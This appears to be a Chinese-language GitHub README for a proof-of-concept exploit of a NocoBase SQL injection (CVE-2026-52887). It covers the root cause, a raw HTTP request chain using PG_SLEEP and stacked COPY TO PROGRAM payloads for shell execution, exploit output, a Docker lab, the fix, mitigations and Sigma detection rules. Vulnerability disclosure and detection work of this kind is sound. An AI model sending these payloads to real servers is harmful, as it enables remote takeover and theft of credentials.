BiiTts/CVE-2026-52887-NocoBase-SQLi-RCE

GitHub: BiiTts/CVE-2026-52887-NocoBase-SQLi-RCE

该项目提供了 CVE-2026-52887(NocoBase SQL 注入至 PostgreSQL-superuser RCE)的完整概念验证、源码根因分析、Docker 复现环境与检测规则。

Stars: 0 | Forks: 0

# CVE-2026-52887 — NocoBase SQL 注入 → PostgreSQL-superuser RCE [NocoBase](https://github.com/nocobase/nocobase) 的 `@nocobase/plugin-notification-in-app-message` (≤ 2.0.60) 插件中 `myInAppChannels:list` 操作存在的 SQL 注入。`filter[latestMsgReceiveTimestamp][$lt]` 请求参数在没有进行转义或绑定的情况下,被直接插值到原始的 `Sequelize.literal()` SQL 字符串中。通过 PostgreSQL `pg` 驱动程序对堆叠语句的支持,该注入可触达 `COPY … TO PROGRAM`,并且由于官方默认的 compose 配置将 `nocobase` 数据库角色创建为 **superuser**,这将导致以 postgres OS 用户身份执行 shell 命令。该 endpoint 需要登录用户,但默认的 auth-basic 插件开启了自行注册功能,因此任何匿名访问者都可以注册并访问它。 | | | |---|---| | **CVE** | CVE-2026-52887 | | **产品** | NocoBase (`@nocobase/plugin-notification-in-app-message`) | | **受影响版本** | ≤ 2.0.60 (在 `nocobase/nocobase:2.0.57` 上验证) | | **修复版本** | 2.0.61 | | **类别** | SQL 注入 (CWE-89) → OS 命令执行 | | **CVSS 3.1** | 10.0 CRITICAL — `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` (GitHub CNA) | | **认证** | 实际上无需认证 — 默认 auth-basic `allowSignUp: true` | | **状态** | **确认存在漏洞** — 已在 2.0.57 上完成端到端验证 | ## 根本原因 `packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/defineMyInAppChannels.ts`, `myInAppChannels:list` 处理程序 (2.0.57): ``` const latestMsgReceiveTSFilter = filter?.latestMsgReceiveTimestamp?.$lt ? Sequelize.literal(`${latestMsgReceiveTimestampSQL} < ${filter.latestMsgReceiveTimestamp.$lt}`) : null; ``` `filter.latestMsgReceiveTimestamp.$lt` 直接来自请求查询 (`filter[latestMsgReceiveTimestamp][$lt]=…`),并被拼接进 `Sequelize.literal()` 中——这是原始 SQL,没有参数绑定,也没有类型强制转换。攻击者可以闭合该比较语句并附加任意 SQL。 ### 从 SQLi 到 RCE - NocoBase 通过 `pg` 驱动程序在 PostgreSQL 上运行,该驱动程序允许 **堆叠语句** (`… ; …`)。注入的片段会附加第二条语句。 - 官方默认的 `docker-compose.yml` 通过 postgres 镜像的 `POSTGRES_USER` 创建 `nocobase` 角色,该角色**始终是 superuser**。 - superuser 可以运行 `COPY (…) TO PROGRAM ''`,从而在 DB container 内以 postgres OS 用户身份执行 ``。 ### 在未认证情况下触达 endpoint `myInAppChannels` 的 ACL 为 `loggedIn`,但默认的 `auth-basic` 插件在发布时带有 `allowSignUp: true`。匿名攻击者可以自行注册 (`POST /api/auth:signUp?authenticator=basic`),登录获取 bearer token 后继续操作——因此在默认安装的情况下,这在实际操作中相当于无需认证。 ### 修复方案 (2.0.61) `defineMyInAppChannels.ts` 添加了 `parseLatestMsgReceiveTimestampLt()`,它会强制将值通过 `Number()` 处理(拒绝非有限/非数字输入并返回 400),并改用参数绑定进行比较: ``` Sequelize.where(Sequelize.literal(latestMsgReceiveTimestampSQL), Op.lt, latestMsgReceiveTimestampLt) ``` ## 概念验证 ``` $ python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1" [+] self-registered 'lab_operator' via auth-basic signUp [+] signed in, bearer token acquired [*] time-based: PG_SLEEP(5)=5.03s control=0.02s [+] SQL injection confirmed (time-based) [+] COPY TO PROGRAM sent (HTTP 200) - 'id > /tmp/proof 2>&1' executed as the postgres OS user $ docker exec nb-pg cat /tmp/proof uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert) ``` 原始 HTTP 链: ``` POST /api/auth:signUp?authenticator=basic {"username":"a","password":"P!ssw0rd1","confirm_password":"P!ssw0rd1"} POST /api/auth:signIn?authenticator=basic {"account":"a","password":"P!ssw0rd1"} → {"data":{"token":"…"}} # 基于时间的 oracle(约5秒延迟): GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0)%20AND%201=(SELECT%201%20FROM%20PG_SLEEP(5))--%20a Authorization: Bearer # 堆叠语句 RCE: GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0);%20COPY%20(SELECT%201)%20TO%20PROGRAM%20'id%20>%20/tmp/proof'; --%20a Authorization: Bearer ``` `--cmd` 接受任何 shell 命令(reverse shell、OAST 回调、通过 `COPY (SELECT …) TO PROGRAM 'cat > /tmp/x'` 读取 DB 行等)。 ## 复现实验 当前主机上没有 docker bridge,因此使用 host networking 运行两个 container: ``` docker run -d --name nb-pg --network host \ -e POSTGRES_USER=nocobase -e POSTGRES_PASSWORD=nocobase -e POSTGRES_DB=nocobase postgres:16 docker run -d --name nb-app --network host \ -e DB_DIALECT=postgres -e DB_HOST=127.0.0.1 -e DB_PORT=5432 \ -e DB_DATABASE=nocobase -e DB_USER=nocobase -e DB_PASSWORD=nocobase \ -e APP_KEY=change-me -e APP_PORT=13000 nocobase/nocobase:2.0.57 # NocoBase 自动安装并运行于 http://127.0.0.1:13000 python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1" docker exec nb-pg cat /tmp/proof ``` 已修复版本的边界测试(被拒绝): ``` docker run ... nocobase/nocobase:2.0.61 # same steps # PG_SLEEP / COPY TO PROGRAM payloads 返回 HTTP 400;数字 $lt 仍然返回 200 ``` 请参阅 [`EVIDENCE.txt`](EVIDENCE.txt) 获取捕获的记录,以及 [`ANALYSIS.md`](ANALYSIS.md) 获取源码层面的分析。 ## 结论 **确认存在漏洞** (`nocobase/nocobase:2.0.57`),已通过两种独立的技术进行验证: 1. **基于时间的盲注** — `PG_SLEEP(5)` payload 会使响应延迟约 5.0 秒,而在同一 endpoint 上没有 sleep 的相同请求会在约 0.03 秒内返回(排除了 rate limiter / retry 造成的假象)。 2. **堆叠语句 RCE** — 一个在请求之前不存在的文件包含了 `uid=999(postgres) gid=999(postgres)`,这是以 postgres OS 用户身份运行 `id(1)` 的真实输出,而不是 payload 的回显。 **已修复** (`nocobase/nocobase:2.0.61`) — 两个 payload 都会返回 HTTP 400,而数字型的 `$lt` 仍然返回 200。 ## 影响 在数据库 container 内以 postgres OS 用户身份执行远程代码:完全读写 NocoBase 数据库,泄露所有存储的密钥和用户凭据,并成为横向移动的跳板。在默认安装下,任何匿名访问者都可以触达此漏洞。 ## 修复建议 - 升级至 **NocoBase ≥ 2.0.61**。 - 不要以 superuser 身份运行应用程序的 PostgreSQL 角色;仅授予应用程序所需的权限(移除 `COPY … TO PROGRAM` 原语)。 - 在不需要的地方禁用公开自行注册 (`allowSignUp: false`)。 ## 检测 `myInAppChannels:list` 请求中 `filter[latestMsgReceiveTimestamp][$lt]` 的值不是纯数字,以及包含 `COPY … TO PROGRAM` 的 PostgreSQL 日志: ``` GET /api/myInAppChannels:list with filter[latestMsgReceiveTimestamp][$lt] containing non-numeric characters: ')', ';', 'SELECT', 'PG_SLEEP', 'COPY', '--' postgres: statement: COPY (...) TO PROGRAM '...' ``` Sigma (webserver 访问日志): ``` title: NocoBase myInAppChannels SQL injection (CVE-2026-52887) logsource: { category: webserver } detection: selection: cs-uri-stem|contains: '/api/myInAppChannels:list' cs-uri-query|contains: - 'PG_SLEEP' - 'TO PROGRAM' - '$lt]=0)' - '$lt]=0);' condition: selection level: critical ``` ## License MIT. © Caio Fabrício (BiiTts).
标签:CISA项目, Docker, MITM代理, NocoBase, PNNL实验室, PostgreSQL, 安全防御评估, 测试用例, 编程工具, 请求拦截, 远程代码执行, 逆向工具